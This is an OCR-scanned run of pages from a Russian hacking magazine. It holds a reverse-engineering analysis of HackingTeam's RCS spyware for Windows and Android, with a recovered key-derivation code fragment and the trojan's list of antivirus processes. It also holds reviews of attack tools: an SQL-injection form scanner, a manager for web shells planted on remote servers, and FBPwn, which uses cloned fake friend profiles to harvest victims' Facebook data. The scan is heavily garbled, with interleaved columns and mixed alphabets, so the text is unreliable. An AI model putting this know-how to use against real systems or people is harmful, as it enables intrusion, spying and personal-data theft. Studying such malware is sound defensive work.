МеэsаgеDigезt
tJ
lосаlНе з sаgеD1gезt
пюlе
z
"заlе" ;
lосаlМеззаgеDigезt;
-
НеззаgеDigезt.gеtInstаn се( "SНА-l" ) ;
( i < 128)
(
[l] Политика сертификата:И ...
byte [] a rrayOfBytel
Подписывание кода
lос а lМеззаgеDigезt.uрdаtе(аrrауОfВуtеl) ;
(1.3.6. 1•.•
r1 1 лnrтvn It' rRj:Ionj:lol-lUQМ I IP-...T
G
byte [.]
arrayOtByte2
= =
10с а lОЬjесt . gеtВуtез{);
раramString.gеtВуtез ();
lосаlНеззаgеD1gезt.uрdаtе( аrr ауоtВуtе2 ) ;
byte []
CN = НТSгl OU = Digital 10 Class 3 • Мicrоsоft Software Validation У2
аrrауОfВуtеЗ
~
lос а lНеззаgеDigе~t . digеst() ;
lос а lМеээаgеDigе~t.uрdаtе{ аrrауоtВуtеЗ);
i+- 1;
О =НТSгl
hyte [] arrayOfByte4 - lосаlНеss аgеDigеst.digеэt(); byte [] arrayO~ByceS с nеп byte [16]; int j - a rra yOfByteS . length; Sузtеm.8L'L'dусору(аrrауОtВуtе4, О, arrayOfByteS, О, j) ; SecretKeySpec эрес = new SecretKeySpec (arrayOfByteS, "AES" ); return (Se cretKey) ~ pe c ;
L = Milan S = ltaly С = IТ
}
Реквизиты стороны, ПОАписавwей х64'Арайвер
Восстановленная функция выработки ключа Апdгоid-версии малвари
компании HackingTeam Iwww. hack ingteam.it) можно найти всего
не помеха. И зто действительно так: при работе на зараженной
лишь несколько презентаций и два видеоролика . Однако этого
машине троян не вызывает подозрений у «Антивируса Касперско
вполне достаточно для пони мания того, что возможности
го» со стандартными настройками, файервол Zопе
RCS
Alarm спокойно RootkitRevealer Руссиновича не показывает подозрительного. Один лишь Wireshark, установленный на
просто огромны. Программа позволяет собирать информацию об
пропускаеттрафик, а
операционной системе, нажатиях клавиш, автоматически делает
ничего
скриншоты экрана, окон и областей, в которых пользователь
компьютере-маршрутизаторе, фиксирует некоторое количество
кликнул мышкой. Вдобавок программа умеет перехватывать пере
НТТР-РОSТ-запросов к одному из серверов винтернете.
писку в чатах, а также разговоры в
Skype, Google Talk
и других 1М.
Если у зараженного пользователя подключена веб-камера, троян
ОБНАРУЖЕНИЕ
может делать с ее помощью фотографии и передавать их на сервер
Как оказалось, обнаружить троян довольно легко, достаточно
атакующего. Более того, в
лишь загрузиться с загрузочной флешки и прошерстить винчестер
RCS
имеется специальный модуль,
который постоянно сканирует файловую систему зараженного
зараженного компьютера.
компьютера, а затем передает на сервер файлы с определенными
диска С, либо в %АРРОАТА%, а также генерирует ключ реестра со
расширениями. Существуют версии зловреда для
случайным именем в разделе Ruп, причем при работе зараженной
Windows,
Мас и
ряда мобильных платформ, среди которых следует особо выделить
iPhone
и
Android.
Производитель заверяет, что
RCS
совершенно не
видна в зараженной системе и антивирусы с файерволами ей тоже
RCS
создает директорию либо в корне
системы директория и ключ не видны для файл-менеджеров и ре дакторов реестра. Чуть позже я расскажу, почему, а пока останов люсь на компонентах трояна.
Модная нынче тенденция реализовывать малварь не в виде ехе, а в виде библиотеки
dll
не обошла стороной и разработчиков
Вообще, версия зтого трояна для
Windows
RCS.
включает в себя следую
щие компоненты Iимена модулей могут отличаться в зависимости от версии/хозяина):
CARRIER IQ: ЛЕГАЛЬНЫЙ ТРОЯН В СМАРТФОНАХ
1. Основной модуль 7КОmРРРS.ТRК 10LL, х86). Файл конфигурации a5jt555f.Qu6. Э. Кодекдля кодирования речи CrThBBBT.7ar 10LL, х86). 4. Дополнительный х64-модуль tms5ggg8.T4t 10LL, х64). 5. Драйвер х64 OCfkvvvw.HiO ISYS, х64). 6. Драйвер х86 УОхоhhhп.рУS ISYS, х86).
2.
Копаясь в прошивке Апdгоid-смартфонов фирмы НТС, Тревор Экхарт обнаружил программу, работающую в скрытом режиме и собирающую информацию о нажатиях клавиш на диалере
Любой здравомыслящий человек сразу задаст вопрос о скрытой
или клавиатуре, просмотре рекламных объявлений, получении
установке х64-драйвера в систему. Здесь нет ничего необычного,
СМС, включении и отключении экрана, получении звонков,
разработчики пошли по пути наименьшего сопротивления и просто
местоположении и т. д. Дальнейшие исследования показали,
подписали его своей электронной подписью. К слову сказать, зто
что эта программа является детищем фирмы
их и палит Iсмотри первую иллюстрацию), так как Гугл моменталь
Carrier 10,
которая
активно сотрудничает с производителями как смартфонов, так
но наводит нас на сайт производителя трояна.
и простых мобильных телефонов. Производитель оборудования получает исходники программы от СЮ, дорабатывает их и внедряет в прошивку устройства. Кроме того,
CIO
предоставляет
ГДЕ СОБАКА ЗАРЫТА? Сразу скажу, что я коснусь в основном только х86-версии
RCS.
удобный интерфейс для работы с полученными данными.
Как уже отмечалось ранее, основной модуль представляет собой
Элементы кода программы были найдены в прошивках с Sense UI, а также на аппаратах производства Samsung с интерфейсом Touch Wiz. В результате проделанной работы Тревор написал
динамическую библиотеку для архитектуры х86 .
про грамму, которая позволяет проверить телефон на наличие
щее троян, имеет следующий -вид:
этого руткита и, если в смартфоне есть права
root, удалить рут кит Iподробнее читай на bit.ly/sdkKcE).
ХАКЕР
02/157/2012
011
экспортирует
восемь функций с ничем не примечательными именами :
HFF2, ... , HFF8.
HFF1,
Значение ключа реестра в разделе Ruп, запускаю
попытаться ruпdllЗ2 .. ехе "с:
\ trSMKKK8\7KOmPPPs. TRK" J НН8
065
взлом
-
и намекает на то, что в первую очередь необходимо изучить
восьмую функцию
HFF8.
Вообще , закидывая
dll
в
IOA,
я думал, что
нарвусь на какой-нибудь пакер или навороченную защиту, но и с этим разработчики не стали заморачиваться
-
антиотладочных
сре д ст в я не обнаружил, программа имела только защиту против статического анализа кода, которая скорее направлена против
антивирусов, нежели реверсера. Поэтому разбирать по косточкам
эту малварь было легко, удобно и интересно . ЗАПУСК Работу функции блоков. Первы й
HFF8 можно логически разделить на несколько - проверка основных модулей трояна: сначала
он проверяет, является ли гuпdllЗ2.ехе текущим процессом, далее перебирает все
dll,
подгруженные в адресное пространство, затем
пытается получить в каждом из них адрес функции
HFF1
и срав
нивает полученный адрес с уже имеющимся значением . Далее при помощи функции
GetModuleFileNameExW троян
получает имя своей
главной dlllc путем!, преобразует его в ASCII и оставляет только имя файла. Путь к файл у и имя файла сохраняются в дву х разных буферах в shагеd-сегменте, где выделена память для данных, доступ к которым нужен другим процессам, в чье адресное про
странство также подгружена
dll
с трояном. Затем каждый символ
пол учен ного имени заменяется на другой в соответствии с не
которой таблицей , а новое имя файла [если все предыдущие шаги завершились успешно! копируется в shагеd-сегмент как имя файла с настройками. Каждый символ имени файла с настройками также кодируется при помощи некой таблицы для преобразования в имя еще одной части трояна. Таким образом и со здаются все необ хо ди мые имена файлов, которые записываются в shагеd-сегмент дина мической библиотеки. После имен файлов в разделяемый сегмент
копируют с я имена объектов
FileMapping . Всего таких объектов три, KMS1, KMS2, КМSЗ. После каждого
и их названия имеют префиксы
префикса идет еще восемь hex-значениЙ . Троян считает проверку ус пешной, если найден основной модуль. Наличие остальных модулей на данном этапе не проверяется.
Малварь в диспетчере приложений
R2D2
Второй блок
-
Android
активация системы маскировки трояна. На этом
этапе инициализации троян сначала пытается открыть устройство
Осенью крупнейший европейский хакерский клуб
Chaos
Computer Club [ССС! опубликовал отчет о «полицейском трое»,
MSH40EV1, которое создается х86-драйвером [номер 6 в списке файлов! . Если все проходит успешно, то handle устройства сохра няется. Далее выполняется поиск антивирусного ПО, установлен
который, как потом признали власти, действительно применялся
ного на зараженной машине. Для поиска троян всегда использует
силовыми ведомствами для сбора пользовательских данных.
один алгоритм: перебирает загруженные в систему драйвера и
Из-за того что в основном модуле трояна имеется строка СЗРО
ищет нужный по определенному имени. Список распознаваемых
r2d2- POE, ему присвоили имя R2D2. Малварь состоит из DLL с именем mfc42ul.dll и драйвера winsys32.sys для архитектуры х86. При заражении DLL прописывается в ветку реестра SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Windows\Applnit_DLLs и,
антивирусов довольно внушителен:
Avira, Avast, Еуее , ProcGuard, McAfee, Kerio, Comodo, Panda, TrendMicгo, Ashampoo, Kaspersky, AVG, BitDefender и еще пара-тройка экзотических для наших широт
следовательно, подгружается в адресное пространство каждого
тается установить в систему драйвер
GUI-приложения . Малварь скрыто делает скриншоты экрана,
пор не установлен!, который копируется в системную директорию
перехватывает нажатия клавиш клавиатуры, записывает звонки,
ndisk .sys. Установка выполняется CreateService, StartService и т. д. Затем троян пытается открыть устройство MSH40EV1 и найти загруженный драйвер ndisk.sys. Отмечу, что драйвер устанавли
совершаемые при помощи
Skype,
и передает всю эту информацию
на удаленный сервер. Отмечу, что здесь механизм перехвата звонков такой же, как и в допустили разработчики,
RCS. Самый главный фейл, который - это использование во всех версиях
мал вари фиксированных ключей шифрования и алгоритма
AES
в режиме ЕСВ при полном отсутствии аутентификации,
продуктов. Учитывая особенности каждого антивируса, троян пы
Windows
и переименовывается в
при помощи функций АОVАРIЗ2 типа
вается только в том случае, если на компьютере имеется любая антивирусная программа.
Третий блок
-
подготовка к шифрованию данных. Для шифро
что позволяет практически любому пользователю интернета
вания данных используется алгоритм
управлять зараженной машиной.
блока и ключа по
Исследователи из ССС зареверсили протокол взаимодействия
YOxohhhn .pYS [если он до сих
128 бит.
AES
в режиме СВС с длиной
В ектор инициализации всегда нулевой, а
сами ключи хранятся в открытом виде в сегменте данны х. На этом
немецкой малвари с командным сервером и разработали
этапе для каждого ключа выполняется процедура
альтернативную программу управления. Члены клуба ССС также
ходе которой генерируются раундовые ключи. Результаты ее рабо
обнаружили еще одну версию трояна, о чем сообщает одна из
ты для каждого ключа помещаются в shагеd-сегмент. Такой под хо д
последних заметок на их официальной странице
значительно сокращает время , затрачиваемое на шифрование,
066
www.ccc.de.
KeyExpansion,
ХАКЕР
в
02/157/2012
Легальный троян: это как?
так как он устраняет необходимость каждый раз разворачивать 128-битный ключ в набор раундовых ключей. В четвертом блоке инициализируются агенты-процедуры
Все функции WinAPI вызываются по адресам, которые выдает GetProcAddre55. Имена всех вызываемых функций зашифрованы шифром простой замены. Эти имена хранятся в сегменте данных и
сбора пользовательских данных. В процессе инициализации
расшифровываются каждый раз непосредственно перед исполь
заполняется массив пар ключ-значение, где ключом является
зованием.
идентификатор агента, а значением
структура с указателями на
-
Версия трояна для 64-битных систем в принципе ничем не
функции первоначальной инициализации, функцию, код которой
отличается от версии под х86. В ней используется тот же самый
будет выполняться в другом процессе , и процедуру обработки по
основной модуль, однако после запуска троян проверяет, не явля
лученных пользовательских данных. При этом для каждого агента
ется ли система 64-битной, и если является, то в игру вступают
также вызывается функция первоначальной инициализации. В
драйвер, Rаписанные специально под х64.
dll
и
ходе инициализации агентов дешифруется файл с настройками и инициализируются только те сборщики данных, которые указаны
РАБОТА АГЕНТА В большинстве случаев код, внедренный в удаленный процесс, де
в конфиге .
В пятом блоке запускаются удаленные потоки, собирающие
лает одно и то же: подгружает в адресное пространство своего про
локальные потоки, которые получают собранные пользователь
цесса dll основного модуля. После этого открываются FilеМаррiпg ' и [функция HFF4), а на определенные функции устанавливаются хуки [функция HFF3). По завершении этих процедур dll выгружается из
ские данные и обрабатывают их . На зтом процедура начальной
адресного пространства процесса, а поток впадает в бесконечный
инициализации завершается, и указанный инициализационный
цикл [засыпает на одну секунду, просыпается и засыпает вновь).
пользовательские данные . В запуске принимают участие другие
зкспортируемые функции:
HFF1, HFF2, HFF3.
После создаются
поток погружается в бесконечный цикл [while[true){ Sleep[1000);}). В ходе инициализации троян также проверяет, не заражена ли уже система. Алгоритм проверки на заражение достаточно
прост: троян ищет объекты FilеМаррiпg с определенными именами
При установке хуков проверяется имя текущего процесса. Если оно не попадает в определенный список, то устанавливаются толь ко те хуки, которые направлены на маскировку трояна в системе.
Вообще, этот зловред распознает следующие процессы:
[KMS1 ... , KMS2 ... , KMS3 ... ), и если находит, то система считается зараженной и процесс инициализации прекращается .
Следует сказать несколько слов и о вызове системных функций.
АNDRОID-ВЕРСИЯ
аур.ехе
RCS
Апdгоid-версия описываемого трояна представляет собой обыкновенный арk-файл, который при установке запрашивает максимальное количество разрешений, что вполне может насторожить даже самых неопытных пользователей. Мне не удалось полностью декомпилировать помощи
ApkManager, так
apk в
Jаvа-сценарий при
как код трояна слегка обфусцирован.
Однако большая его часть вполне успешно восстанавливается, правда, без имен классов, переменных и т. д .
ApkManager
оставляет в виде опкодов невосстановленные участки кода
и оборачивает их в комментарии, что позволяет почерпнуть дополнительную информацию о трояне. При разархивировании арk-файла сразу бросается в глаза, что в этой версии используется
паtivе-библиотека
[50), а также имеется зашифрованный файл с
ресурсами. Оказывается, этот файл также шифруется по алгоритму
AES
в режиме еве. При этом последний блок дополняется по
схеме
PKeS#5 и,
pct5*.exe k7*.exe avk.exe admin.exe bgscan.exe
как и прежде, используется нулевой вектор
pavark. ехе .. rku*.exe s.vv. ехе IceSword.exe gmer.exe avg5canx.exe RootkitRevealer.exe avscan.exe ,!vgarkt.exe sargui. ехе uncrackme. е.хе hiddenfinder.exe hackmon.exe Ta5kMan.exe outlook.exe 5kypepm.exe 5kype. ехе <;:hrome.exe firefox.exe
инициализации. В данном случае ключ хранится не в открытом
виде, а вырабатывается из фиксированной строки при помощи многократного вычисления хеш-функции. В расшифрованном файле с ресурсами находится множество строковых пар ключ
значение, позволяющих получить информацию об используемых криптографических алгоритмах. Дальнейший анализ показал, что при запуске троян пытается
проэксплуатировать какую-нибудь уязвимость в
Android
и
получить права гоо! [на моем кастомном билде ему это сделать
не удалось). ReS также собирает пользовательские данные [SMS,
MMS, контакты) и информацию о сети сотовой связи, периодически включает микрофон телефона и записывает разговоры вокруг
и передает всё это добро на удаленный сервер. В диспетчере приложений малварь пытается замаскироваться под
5ervice,
com.android.
а при работе ест много памяти и сильно расходует батарею.
Вообще, здесь следует отдать должное производителям
Light -
антивируса для
Android, так
Dr.Web
как он спокойно палит этот
троян и выдает пользователю соответствующее предупреждение.
ХАКЕР
02 /1 57/2012
Распознавание процессов осуществляется только по именам,
-
поэтому, переименовав
RootkitRevealer.exe :-)
в
ololo.exe,
мы сможем
легко обнаружить троян .
ДЛЯ ПОИСКА АНТИВИРУСОВ
ТРОЯН ВСЕГДА ИСПОЛЬЗУЕТ ОДИН АЛГОРИТМ: ПЕРЕБИРАЕТ
ЗАГРУЖЕННЫЕ В СИСТЕМУ
ДРАЙВЕРА И ИЩЕТ НУЖНЫЙ ПО ОПРЕДЕЛЕННОМУ ИМЕНИ 067
взлом
а
Monilor
hundred thousand Remote Control System сап monitor from а few and up to hundreds of thousands oftargets.The whole system сап Ье managed Ьу а single easy to use interfaсе that simplifies day Ьу day investigation activities. -~
1
Рекламная брошюра
',",1т
-
-
- 'RCS ..
~_.
Cl)rl:10~)
-
.
~
-
----
- ••
RCS Отдельный агент, постоянно сканирующий файловую систему
Процессы взаимодействуют друг с другом посредством от
t
крытых фаЙл - маппингов. На адресное пространство процесса
компьютера, подготавливает для передачи файлы
маппится не какой-то определенный файл, а участок свопа.
ными расширениями. Следует упомянуть и еще об одном потоке,
рядка
Маппинг с префиксом имени KMSl имеет маленький размер 'по 20 Кб) и служит для управления агентами . Каждый агент
заражать новые процессы. Троян запускает новые процессы на
периодически заглядывает в
компьютере от имени
га »
рер . Зловред использует крайне забавный способ для мониторинга
DWORD по адресу «начало_маппин + «идентификатор_агента » И считывает оттуда определенную
команду основного модуля. Второй маппинг служит для передачи
основному модулю собранных данных и имеет размер порядка Кб. Данные в виде картинки переводятся в формат
JPEG,
300
голосо
вые данные кодируются кодеком speex ICrThBBBT.7ar). Обработан ная информация шифруется с помощью алгоритма
СВС
Ic нулевым
AES
определен
который постоянно сканирует список текущи х процессав, чтобы
explorer.exe за
счет инжекции кода в Экспло
активности Firefox: загружает из интернета библиотеки mozcrt19. dll, softokn3.dll и mozsqlite3.dll, которые просто посылают запросы к SQLite-базам браузера . Подобным образом троян работает и с некоторыми другими программами.
в режиме
вектором инициализации), сохраняется в текущей
директории и удаляется после передачи на сервер. Имена сохра
РЕАКЦИЯ АНТИВИРУСА В качестве эксперимента я установил «Антивирус Касперского»
няемых в директории файлов представляют собой зашифрован
и настроил его на максимальное информирование. При загрузке
ную простой заменой строку вида
системы АВ выдает сообщение о запуске
ХХХХ
попытке получения доступа к защищенному хранилищу паролей.
-
идентификатор агента, а
LOG_XXXX_YYYYYYYYY.log, где У ... У - случайные числа. Данные
dll
как приложения и
передаются по протоколу НТТР в теле РОSТ-запроса. Какая-либо
В этом сообщении, прямо скажем, нет ничего информативного, что
а у тентификация как на сервере, так и на клиенте отсутствует,
раскрывало бы суть вирусной активности на компьютере lесли бы я
позтому, зареверсив зтот простенький алгоритм передачи, можно
был обыкновенным пользователем , то, наверное , вообще никак на
здорово заспамить удаленный сервер и попытаться угнать его
него не прореагировал). При этом журнал антивируса начинает пе
клиенты.
стреть сообщениями о разрешенном внедрении кода в сторонний
:-)
процесс , о разрешенном доступе к хранилищу паролей и так далее. ~
Dr.Web - Сканер
В общем, никакой пользы для конечного пользователя нет. Един
ственный положительный момент состоит в том, что « Касперский » видит папку с троянам, однако она не вызывает у него никаких
подозрений, то есть заметить ее довольно сложно.
Проверка завершена.
Обнаружено угроз: 1 Выберите действие ДЛЯ каждой угрозы.
SUMMARY Вообще, видео на сайте производителя испугало меня больше, чем сам троян . Его несложно обнаружить и нейтрализовать, к тому же после знакомства с современными средствами создания ботне
Android.SmsSend. origin.21
тов от расковырянной коммерческой малвари остаются весьма
противоречивые впечатления. Версия для выдерживает критики
-
Android
вообще не
она может испортить жизнь только тем
пользователям , которые вообще не следят за своим смартфоном, устанавливают приложения из неизвестных источников и безраз лично относятся к количеству подтверждений, запрашиваемых
приложениями. На примере этого трояна хорошо видно, что техно логии коммерсантов отстают от технологий их криминальных кол Отчет Dr.Web
068
Llght об обнаруженных вирусах
лег -
создателей
Zeus, TDSS, SpyEye
и других подобных вещей. :Х:
ХАКЕР
02 / 157/ 2012
ПРЕДЛОЖЕНИЕ МЕСЯЦА ДЛЯ ДЕРЖАТЕЛЕЙ
«МУЖСКОЙ КАРТЬ ~
15 парфюмов
.
«1 million» ОТ РАса RABANN Е
подробности на сайте
www.mancard.ru
м..J\.~J.м А Альфа.Банк {gameJland
- .
ОДА <Альфа-Банк». Генеральная лицензия банка России на осуществление банковских операций от
29.01.1998
N2IЗ2б"
взлом
Marlicq 884888, http://snipper.rul
СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ
Автор:
Автор:
Авт о р:
Michael Hendrickx URL: michaelhendrickx. com/ lilith
Аноним
David Rook URL: agnitiotool.sourceforg e. net
Система:
· nix/wi n
URL: bit.ly/sw lI4w
-._-.............-__ _-,...-_..._... -=- _.. ... - .. -. .
Система :
_
· nix/win
и
')"U8I, 8
~~
....
_-_ _-_ ,---- ----_
Система:
Wind ows
~
':;::.::::::..~ . _-_
._! ..'""" .._-- ... _...-. . ....,,----- -___ '-
:::=...~=:-=--.
.......
..
=.;.~_
LiLith -
это перловый сканер и инжектор
НТТР-форм. Тулза анализирует веб-страницу
Если ты хочешь удобно работать с множе
ИБ-сообществу известно великое множество
на наличие тегов
затем тестит
ством шеллов, то вряд ли найдешь средство
программ для статического анализа исход
их на
работает почти
лучше
ников на критические ошибки . Тулза Аgпitiо
<form>, а SQL-инъекции. LiLith
Shellfy.
Основная идея этой системы,
так же, как обыкновенный поисковый паук,
написанной на
только снебольшим хакерским уклоном: она
лизации всего и вся .
инжектирует в формы различные спецсим
частей: клиента и сервера. Клиентская часть
волы с определенными значениями, а за т ем
представляет из себя обычный РНР-шелл,
языков программирова н ия :
анализирует ответы веб-сервера. Основные
который необходимо сохранить на удаленном
особенности и функционал утилиты: малое количество ложных срабатываний;
сервере (точнее , много шеллов, которые нужно сохранить на разных серверах), а серверная
Java, JavaScript, Perl, Php, а также XML.
поддержка СоldFusiоп;
часть
Shellfy состоит
выгодно выделяется среди них открытостью
из двух
сорцов И универсальностью. Шутка ли, анали
это, собственно, сам Регl ' овый скрипт
возможность передачи скриптам дополни
управления шеллами. В основном окне про граммы содержится шесть вкладок, названия
рекурсивный сканер файлов и директорий.
которых говорят сами за себя:
.IH}i.t.h.•.pJ... www.:t.i.! r:'E~.t .• ~QI)! ... При этом есть ряд полезных параметров:
•
заключается в центра
тельной инфы: кукисы, юзер-агент и т.д.;
в простейшем случае сканер запускается так:
• •
-
Perl,
d -директория
или файл для начала скана;
и-данные для
basic аuthепtiсаtiоп;
• • • • • •
«Шеллы » (Shells); «Домены » (Dоmаiпs); « Статистика » (Stаt~; « Обновление » (Update); «Настройки » (Sеttiпgs); « Прокси» (Ргоху).
ASP,
АSР. пеt, С#,
Руthоп ,
Ruby,
VВ.пеt,
Перечислю лишь некоторые особенности и функциональные возможности этой замеча тельной программы: возмож н ость команд н ой работы;
•
удобнейшие профили для ручного анализа
•
удобный профиль исследуемого приложе
кода;
ния для анализа его исходников;
подробныеотчеты,отсортированные по име н и исследователя, имени приложения и многим дру г им параметрам;
списокделдля будущего анализа кода; Также имеется дополнительный раздел под
•
автоматический статический анализ кода;
р-прокси;
названием «Терминал » , который отвечает
встроенный список наводящих вопросов,
Т-
за общение с шеллами на удалённых серверах .
предназначенных для помощи в анализе
интервал между запросами;
кода (так называемый чек-лист).
f - запись расширенного лога в файл;
Начать работу со скриптом очень просто: залей
г-рекурсивный краулинг;
все содержимое архива в директорию сgi-Ып
Огромным плюсом проекта также являются
и запусти скрипт
его частые обновления. Как видишь, Аgпitiо
А - вывод на экран всех НТТР-кодов.
setup.pl.
Он проведет все
Остальные параметры,атакже подробный хелп
необходимые манипуляции автоматически.
на английском языке ты найдешь на официаль
Подробнейший мануал по работе с
ном сайте ска нера.
настройке можно найти в папке с программой.
070
затор поддерживает большинство популярных
Shellfy и
вП'Олне может пригодиться любому профес
ее
сиональному пентестеру (или целой команде профессионалов) в его каждодневной работе.
ХАКЕР
02 / 157/ 2012
X-Tools
Автор :
Согеу Goldberg URL: www.webinject.org Система:
· nix/win
"*-,-
...
,-, , ,
".,. I..DII _
ПЕНТЕСТ НПР-ИНТЕРФЕЙСОВ WebInject -
зто бесплатная у тилита,
0......0. . . 1t"1."
_
"".
INИoL
~
о.
1V __
1QI11t~~
1t:t"' _
JalIIIJ~
lU01...u.
_
_ .... ..... .ALI'IIII
1UOI1I7.rR1tL1tI'11II~
с на
ского тестирования веб-приложений
программи ст. В ХМL-формате гене
и веб-сервисов . Она под хо дит
рируются также и отчеты по пенте
как для тестирования отдельных
стам, а значит, их можно успе шно
сис темны х компонентов с НТТР
использовать в любой совместимой
интерфейсом (J5P, А5Р, CGI, РНР,
вн е шней программе .
AJAX, 5ervlets, HTML· Forms, XML! 50АР Web 5ervices, RE5T и т. д .],
является тот факт, что она напи са на
Не сом ненным плюсом проги
так и для создания целого набора
на
тестов, с помощью которых можно
чески на лю бой платформе . Однако
Perl
и может работать практи·
соби рать статистику и мониторить
на сегодняшний день зкзешник
работу сис темы почти в реальном
WebInject до с тупен пока только для Windows. Для запуска у тилиты
времени (к примеру, отслеживать время отклика в еб- прил оже ниЙ].
g _......-UI
XML, то
стройкой сможет справиться любой
Так как в качестве
• __
тестов вы с тупает язык
предназначенная для автоматиче
в другой ОС т ебе понадобится раб о
I~ НIPWn
Автор :
Автор :
Erik Hjelmvik URL: bit.ly/egH2pr
Edge·Security URL: bit.ly/QA9vl
Система:
Система :
Windows
·nix/win
чий интерпретатор
для создания
API
-
Perl.
Автор:
Вet .. - 0.1.6
,... #btU. lNpn>IOd.
~1WIt ~.....-.......
Nzr;:J,..,....J-w-...
~~ ......
N:tp:J""",J"""" •. DInp_""posU
' -vot "",,"lIII.
Ahmed Saafan URL: code.google.com/ p/ fbpwn
МIIOUt cm. . pcНo
;;=:::::=::::~=::==o ...... .. ,ph:to ...
Система:
1ПIIIony~ tttp:/Ir-. l кtboG. DInp . . . . .-.thorIy •..".."..,. ...... I(tp:',"-'.IК'ЬОО... Dutrp ".-.d ..
IHil!I:I~
·nix/win .
~~ ...... Н1р:/,..,.....,.....". .. OI8dr.fnltdr8Ql.lИt
1ПIIIony.-cl'mr ...... http:I,.,.....Juboo..·.~ ....... fnInd:I
ПОИМЕЙ FACEBOOIO Многие люди выкладывают в социальных сетях Замечательная утили та
Netwo rkMiner явля
Е с ли тебя з аинтере со вал какой-либо сай т,
подробнейш у ю информацию о себе. И соверша
ется одним из л уч ши х на сего дняшний день
то первым делом ты наверняка попытаешь ся
ют огромнейшую ошибку! Пра кти чески любо й
инструментов для анализа п е ре хваче нны х
раздобыть ма кс им у м информации о нем . К зтой
челове к при должном старании может узнать
данны х, которые сох ранены в формате РСАР.
информации относятся с вя за нные
о таки х ребята х почти все! В качестве примера
Утилита пассивно анализирует дамп с трафи
адреса, имена субдоменов и т. д . Конечно,
одного из с ред с тв для раскрытия пер со наль
ком , безошибо чн о определяет у частников об
различные хаке рс кие комбайны вроде
ны х данны х приведу тулз у
мена сете выми данными и распознает опера
WV5
e-mailAcunetix
включают в себя соответствующие моду
открытое
ционные сис темы, ус тановл е нны е на каждом
ли , но применять их для зтой цели
хосте , по размеру окна, времени жизни пакета
что стрелять из п ушки по воробьям . В общем,
лей
и у ни ка льному набору флагов.
советую тебе использ о вать заме чательн ую
пользоват е лей за про с ы на добавление в друзья
NetworkMiner
вс е равно
FBPwn -
кросс-платформенное Jаvа-приложение , пред
-
Facebook . Прога
отсылает списку заданных
та кже выдает ст рукт у рированн ую информацию
ути лит у
об открытых сессиях, активных п о рта х и про
на последн ей конференции
чей инфраструкт у ре сети, снимает баннеры
питонов ский скрипт собирает всю вышепе
сохраняет все фотографии, список друзей
различных демонов .
речисленную информацию из всех до с т у пны х
и прочую информацию из пр офи ля жерт вы.
Одной из самых важных фич программы
theHarvester,
продемонстрированную
на з наченное для дампа профил ей пользовате
Black Hat. Этот
и жде т уведомлений о подтверждении . Как толь ко жертва одобряет запрос, приложение
публичных ис точн ико в , например по иско виков
является возможность извлекать файлы и сер
и серверов с ключами
тификаты, передаваемые по сети. Эта функция
возможности и особенности у тили ты:
PGP.
Ф у нкциональные
Типичный сценарий работы
FBPwn выглядит
следующим образом:
1,
Со с траницы жертвы собирается в ся доступ
2.
Затем запускается fгiепdiпg-плагин, добав
может бы ть использована для перехвата и со
генерация о тчет ов
х ранения всевозможны х аудио- и виде о фай
верификациянайденныхвиртуальных
лов. Поддерживаются протоколы ПР, НТТР
хос тов и субдоменов;
и 5МВ . ДЛЯ ни х до сту пно также извлечение
DN5 reverse looku p;
пользователь ских данны х (логинов и паролей].
поиск информации о пользователя х и хос та х
клонирующий имя и фото одного из др уз ей
Программ у можно использовать и для сниф
в
жертвы.
фин га и парсинга трафика К слову, « в се го » за
500
BXML и HTML;
ная информация.
ляющий вдр уз ья всехдрузей же ртвы . З. Далее вдело вступаетсlоппiпg-плагин,
Google, Bing, Linkedin и Exa lead .
WLAN (IЕЕЕ 802.11].
евро разраб от чик
4. Пр имер команды для поиска всех e-mаil'ов,
предлагает и платную версию своего творе
связанных с доменом
ния, с ног до головы у вешанную всяческими
пятистах результатах из выдачи Гу гла:
microsoft .com
в первы х
версии
ХАКЕР
NetworkM iner.
02 / 157/2012
бавлениевсписокдрузеЙ .
5.
После подтверждения запроса парсятся все д ос тупные страницы.
Чере з не скол ь ко минут жертва, возможно, уда
д о полните льными плюш ками . Но в большин
стве случаев нам вполне х ватит и б ес платной
Отсылается у помян у ты й выше запрос на до
J t;h.ebilt:'vest.E;:[', ру -d .. !!I;i,!;rо.~Q.ft. ,. с9m...\ . :1...!5е.е . -.R. gQQg~e ....
лит твой фейковый аккаунт из друзей , но будет
уже поздн о
:].
071
СЦЕНА
ЗАПОЗДАЛЫЙ ОТЧЕТ С ХАКЕРСКОЙ КОНФЕРЕНЦИИ В САНКТ-ПЕТЕРБУРГЕ Двадцать восемь технических докладов, десять часов хакерской ат
мосферы и non-stop общения, 11 технических конкурсов, приз $10 000 от Яндекса за найденные уязвимости, Оdау-шоу с демонстрацией еще нигде не опубликованных сплоитов
-
это лишь малая часть того, что
происходило в ноябре на хакерской конференции
J' . J.
Черт, кто придумал проводить конференцию
в конце ноября вПитере?
:1
ZeroNights 2011.
Никакие слайды, никакое видео и даже отчеты
Это худшее время
участников не смогут передадать ту атмосфе
для поездки в северную столицу. Но когда
ру, которая царит во время выступлений на ха
речь идет о новой хакерской конференции,
керских конфах. Тут надо быть! Где еще тебе
проводящейся впервые, то тут уже не до раз
покажут реальные уязвимости в банковских
думий. В общем, в Питер мы выдвинулись
системах, повеселят livе-видео со взломом
доброй половиной редакции. На площадке мы
различных платежных терминалов и киосков,
первым делом увидели сотни молодых людей
докажут, что данные для промышленных
с ноутбуками, расхватывающих свои бейджики
контроллеров в SСАDА-системах можно очень
и внимательно изучающих программу двух тре
просто проспуфить, расскажут изнутри, что
ков, на которых вот-вот должны были начаться
сейчас происходит в мире киберпреступников
доклады. Вот и куча знакомых лиц
-
в Аэии? Иной раз думаешь: «Откуда же взялся
наших
авторов и просто друзей, которые работают
этот монстр, который вот это все расковырял
в самых разных компаниях и занимаются ин
и сейчас рассказывает?», а потом подходишь
формационной безопасностью . Тут сразу стало
к нему и понимаешь
-
ясно, что зто тебе не очередная скучная конфа,
просто очень умный
:1. На конференции
которые сотнями проходят каждый год,
несколько раз ловили себя на мысли, что
-
это
мы
одного дня для такого ивента мало. Программа
настоящая хакерская тусовка. Можно сказать,
клуб друзей, в котором тебя ждут доклады, конкурсы и куча общения.
человек, не киборг,
настолько плотная и насыщенная, что иногда
Дима Частухи н рассказываn про взnом интернет-киосков и
не знаешь, на какой из параллельных треков
платежных терминалов
072
ХАКЕР
02/157/2011
2011
ZeroNights
